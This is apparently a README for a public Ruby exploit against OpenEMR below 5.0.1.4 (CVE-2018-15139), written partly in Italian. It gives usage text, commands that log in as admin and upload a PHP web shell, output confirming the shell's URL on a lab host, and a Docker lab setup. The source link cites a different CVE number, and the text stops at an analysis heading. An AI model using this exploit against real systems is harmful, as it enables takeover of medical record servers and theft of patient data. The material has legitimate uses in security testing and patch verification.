
OpenEMR < 5.0.1.4 - (Autenticato) Caricamento file - Esecuzione di comandi remoti
OpenEMR < 5.0.1.4 - (Autenticato) Caricamento file - Esecuzione remota di comandi
Exploit per CVE-2018-15139.
$ ruby exploit.rb -h
OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution
Source: https://github.com/sec-it/exploit-CVE-2019-14530
Usage:
exploit.rb exploit <url> <filename> <username> <password> [--debug]
exploit.rb -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<filename> Filename of the shell to be uploaded
<username> Username of the admin
<password> Password of the admin
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb exploit http://example.org/openemr shell.php admin pass
exploit.rb exploit https://example.org:5000/ shell.php admin pass
$ ruby exploit.rb exploit http://172.24.0.3 agent.php admin pass
[+] File uploaded:
http://172.24.0.3/sites/default/images/agent.php
Esempio usando gem:
bundle install
# or
gem install httpx docopt
Attenzione: ovviamente questa configurazione non è adatta per l'uso in produzione!
$ sudo docker-compose up
I permessi della cartella di upload sono danneggiati nell'immagine Docker ufficiale di OpenEMR, quindi è necessario connettersi al contenitore e correggere i permessi, ad esempio:
$ sudo docker exec -ti exploit-cve-2018-15139_openemr_1 /bin/sh
$ chmod u+w /var/www/localhost/htdocs/openemr/sites/default/images/
docker-compose.ymlQuesta è una riscrittura migliore di EDB-49998.
La vulnerabilità è stata trovata da Project Insecurity.
Analisi dell'exploit originale e della vulnerabilità: